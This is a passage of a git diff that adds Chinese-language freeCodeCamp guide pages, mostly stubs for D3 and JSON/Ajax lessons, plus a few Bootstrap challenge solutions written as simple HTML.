+localeTitle: 使用SVG圈创建散点图
+---
+## 使用SVG圈创建散点图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/create-a-scatterplot-with-svg-circles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md
new file mode 100644
index 0000000000..dad2ed8157
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md
@@ -0,0 +1,9 @@
+---
+title: Display Shapes with SVG
+localeTitle: 使用SVG显示形状
+---
+## 使用SVG显示形状
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/display-shapes-with-svg/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md
new file mode 100644
index 0000000000..0820a5b2bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md
@@ -0,0 +1,9 @@
+---
+title: Dynamically Change the Height of Each Bar
+localeTitle: 动态改变每个栏的高度
+---
+## 动态改变每个栏的高度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/dynamically-change-the-height-of-each-bar/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md
new file mode 100644
index 0000000000..2e9428f033
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md
@@ -0,0 +1,9 @@
+---
+title: Dynamically Set the Coordinates for Each Bar
+localeTitle: 动态设置每个条形的坐标
+---
+## 动态设置每个条形的坐标
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/dynamically-set-the-coordinates-for-each-bar/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/index.md
new file mode 100644
index 0000000000..469bdca9e6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization with D3
+localeTitle: 使用D3进行数据可视化
+---
+## 使用D3进行数据可视化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md
new file mode 100644
index 0000000000..44d9f5bfc9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Invert SVG Elements
+localeTitle: 反转SVG元素
+---
+## 反转SVG元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/invert-svg-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md
new file mode 100644
index 0000000000..28656a9459
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn About SVG in D3
+localeTitle: 在D3中了解SVG
+---
+## 在D3中了解SVG
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/learn-about-svg-in-d3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md
new file mode 100644
index 0000000000..e2339b19d8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Select a Group of Elements with D3
+localeTitle: 使用D3选择一组元素
+---
+## 使用D3选择一组元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/select-a-group-of-elements-with-d3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md
new file mode 100644
index 0000000000..08bb5243ad
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md
@@ -0,0 +1,9 @@
+---
+title: Set a Domain and a Range on a Scale
+localeTitle: 在比例上设置域和范围
+---
+## 在比例上设置域和范围
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/set-a-domain-and-a-range-on-a-scale/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md
new file mode 100644
index 0000000000..932a2b4ef7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md
@@ -0,0 +1,9 @@
+---
+title: Style D3 Labels
+localeTitle: 风格D3标签
+---
+## 风格D3标签
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/style-d3-labels/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md
new file mode 100644
index 0000000000..5fdb309990
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md
@@ -0,0 +1,9 @@
+---
+title: Update the Height of an Element Dynamically
+localeTitle: 动态更新元素的高度
+---
+## 动态更新元素的高度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md
new file mode 100644
index 0000000000..dca68d6caf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Pre-Defined Scale to Place Elements
+localeTitle: 使用预定义比例放置元素
+---
+## 使用预定义比例放置元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md
new file mode 100644
index 0000000000..93995e5e20
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Dynamic Scales
+localeTitle: 使用动态比例
+---
+## 使用动态比例
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md
new file mode 100644
index 0000000000..f4a828bee2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the d3.max and d3.min Functions to Find Minimum and Maximum Values in a Dataset
+localeTitle: 使用d3.max和d3.min函数查找数据集中的最小值和最大值
+---
+## 使用d3.max和d3.min函数查找数据集中的最小值和最大值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md
new file mode 100644
index 0000000000..0fe162a0ad
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Data in D3
+localeTitle: 在D3中使用数据
+---
+## 在D3中使用数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md
new file mode 100644
index 0000000000..fa932e2237
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Dynamic Data in D3
+localeTitle: 在D3中使用动态数据
+---
+## 在D3中使用动态数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/index.md b/client/src/guide/chinese/certifications/data-visualization/index.md
new file mode 100644
index 0000000000..dd9cfe52f3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization
+localeTitle: 数据可视化
+---
+## 数据可视化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md
new file mode 100644
index 0000000000..730b057fa1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md
@@ -0,0 +1,9 @@
+---
+title: Access the JSON Data from an API
+localeTitle: 从API访问JSON数据
+---
+## 从API访问JSON数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md
new file mode 100644
index 0000000000..4e9ae5cc54
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Text with click Events
+localeTitle: 单击“事件”更改文本
+---
+## 单击“事件”更改文本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md
new file mode 100644
index 0000000000..9ac82b6913
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md
@@ -0,0 +1,9 @@
+---
+title: Convert JSON Data to HTML
+localeTitle: 将JSON数据转换为HTML
+---
+## 将JSON数据转换为HTML
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md
new file mode 100644
index 0000000000..40b4c8be7a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md
@@ -0,0 +1,9 @@
+---
+title: Get Geolocation Data to Find A User's GPS Coordinates
+localeTitle: 获取地理位置数据以查找用户的GPS坐标
+---
+## 获取地理位置数据以查找用户的GPS坐标
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md
new file mode 100644
index 0000000000..aa61c4ee70
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Get JSON with the JavaScript XMLHttpRequest Method
+localeTitle: 使用JavaScript XMLHttpRequest方法获取JSON
+---
+## 使用JavaScript XMLHttpRequest方法获取JSON
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md
new file mode 100644
index 0000000000..33e9e98dd3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Handle Click Events with JavaScript using the onclick property
+localeTitle: 使用onclick属性处理使用JavaScript单击事件
+---
+## 使用onclick属性处理使用JavaScript单击事件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/index.md
new file mode 100644
index 0000000000..6300376968
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/index.md
@@ -0,0 +1,11 @@
+---
+title: JSON APIs and Ajax
+localeTitle: JSON API和Ajax
+---
+## JSON API和Ajax
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md
new file mode 100644
index 0000000000..374d9f4646
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Post Data with the JavaScript XMLHttpRequest Method
+localeTitle: 使用JavaScript XMLHttpRequest方法发布数据
+---
+## 使用JavaScript XMLHttpRequest方法发布数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md
new file mode 100644
index 0000000000..8e39b94958
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md
@@ -0,0 +1,9 @@
+---
+title: Pre-filter JSON to Get the Data You Need
+localeTitle: 预过滤JSON以获取所需的数据
+---
+## 预过滤JSON以获取所需的数据
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md
new file mode 100644
index 0000000000..9cf78284d8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md
@@ -0,0 +1,9 @@
+---
+title: Render Images from Data Sources
+localeTitle: 从数据源渲染图像
+---
+## 从数据源渲染图像
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md
new file mode 100644
index 0000000000..3511cdae97
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md
@@ -0,0 +1,44 @@
+---
+title: Add Elements within Your Bootstrap Wells
+localeTitle: 在Bootstrap Wells中添加元素
+---
+## 在Bootstrap Wells中添加元素
+
+在最后一次挑战中，您已经使用井类创建了一个div，此挑战现在要求您在每个井中添加3个按钮元素。
+
+### 暗示
+
+按钮声明如下：
+
+```html
+
+<button></button> 
+```
+
+### 解
+
+由于我们必须在每个井中声明3个按钮，我们将执行以下操作：
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button></button> 
+        <button></button> 
+        <button></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button></button> 
+        <button></button> 
+        <button></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md
new file mode 100644
index 0000000000..7c81c9d0eb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md
@@ -0,0 +1,88 @@
+---
+title: Add Font Awesome Icons to all of our Buttons
+localeTitle: 将Font Awesome Icons添加到我们所有的按钮中
+---
+## 将Font Awesome Icons添加到我们所有的按钮中
+
+### 问题解释
+
+使用Font Awesome将`info-circle`图标添加到信息按钮，将`trash`图标添加到删除按钮。
+
+#### 相关链接：
+
+*   [字体真棒](https://fontawesome.com/)
+*   [Font Awesome v4和v5之间有所不同](https://fontawesome.com/how-to-use/on-the-web/setup/upgrading-from-version-4)
+
+### 暗示
+
+*   此页面的Font Awesome样式表是版本4.5.0，因此您应该使用`fa`前缀而不是新的`fas` 。查看[链接](https://fontawesome.com/how-to-use/on-the-web/setup/upgrading-from-version-4)以了解有关v4和新v5之间差异的更多信息。
+*   可以在[此处](https://fontawesome.com/icons?d=gallery)找到徽标和徽标的相关CSS类。
+*   在`<i>`标签和文本之间添加空格将使其具有良好的间距。
+
+## 扰流板警报！
+
+**提前解决！**
+
+### 解：
+
+```html
+
+<link href="https://fonts.googleapis.com/css?family=Lobster" rel="stylesheet" type="text/css"> 
+ <style> 
+  h2 { 
+    font-family: Lobster, Monospace; 
+  } 
+ 
+  .thick-green-border { 
+    border-color: green; 
+    border-width: 10px; 
+    border-style: solid; 
+    border-radius: 50%; 
+  } 
+ </style> 
+ 
+ <div class="container-fluid"> 
+  <div class="row"> 
+    <div class="col-xs-8"> 
+      <h2 class="text-primary text-center">CatPhotoApp</h2> 
+    </div> 
+    <div class="col-xs-4"> 
+      <a href="#"><img class="img-responsive thick-green-border" src="https://bit.ly/fcc-relaxing-cat" alt="A cute orange cat lying on its back."></a> 
+    </div> 
+  </div> 
+  <img src="https://bit.ly/fcc-running-cats" class="img-responsive" alt="Three kittens running towards the camera."> 
+  <div class="row"> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-primary"><i class="fa fa-thumbs-up"></i> Like</button> 
+    </div> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-info"><i class="fa fa-info-circle"></i>Info</button> 
+    </div> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-danger"><i class="fa fa-trash"></i>Delete</button> 
+    </div> 
+  </div> 
+  <p>Things cats <span class="text-danger">love:</span></p> 
+  <ul> 
+    <li>cat nip</li> 
+    <li>laser pointers</li> 
+    <li>lasagna</li> 
+  </ul> 
+  <p>Top 3 things cats hate:</p> 
+  <ol> 
+    <li>flea treatment</li> 
+    <li>thunder</li> 
+    <li>other cats</li> 
+  </ol> 
+  <form action="/submit-cat-photo"> 
+    <label><input type="radio" name="indoor-outdoor"> Indoor</label> 
+    <label><input type="radio" name="indoor-outdoor"> Outdoor</label> 
+    <label><input type="checkbox" name="personality"> Loving</label> 
+    <label><input type="checkbox" name="personality"> Lazy</label> 
+    <label><input type="checkbox" name="personality"> Crazy</label> 
+    <input type="text" placeholder="cat photo URL" required> 
+    <button type="submit">Submit</button> 
+  </form> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md
new file mode 100644
index 0000000000..3f809ae7b3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Font Awesome Icons to our Buttons
+localeTitle: 添加字体真棒图标到我们的按钮
+---
+## 添加字体真棒图标到我们的按钮
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md
new file mode 100644
index 0000000000..47742def0c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md
@@ -0,0 +1,56 @@
+---
+title: Add id Attributes to Bootstrap Elements
+localeTitle: 将id属性添加到Bootstrap元素
+---
+## 将id属性添加到Bootstrap元素
+
+最后一个挑战是你在按钮元素中添加了一个类，这次你必须将id添加到具有良好类的div中。
+
+### 提示1
+
+id声明如下：
+
+```html
+
+<element id="id(s)List"></element> 
+```
+
+### 提示2
+
+编辑具有良好类的div标签
+
+### 提示3
+
+对两个孔使用不同的id。
+
+### 提示4
+
+`left-well` ，井`right-well` 。
+
+### 解
+
+由于您必须向两个井添加id并且两者都具有唯一ID，因此以下是解决方案：
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well" id="left-well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well" id="right-well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
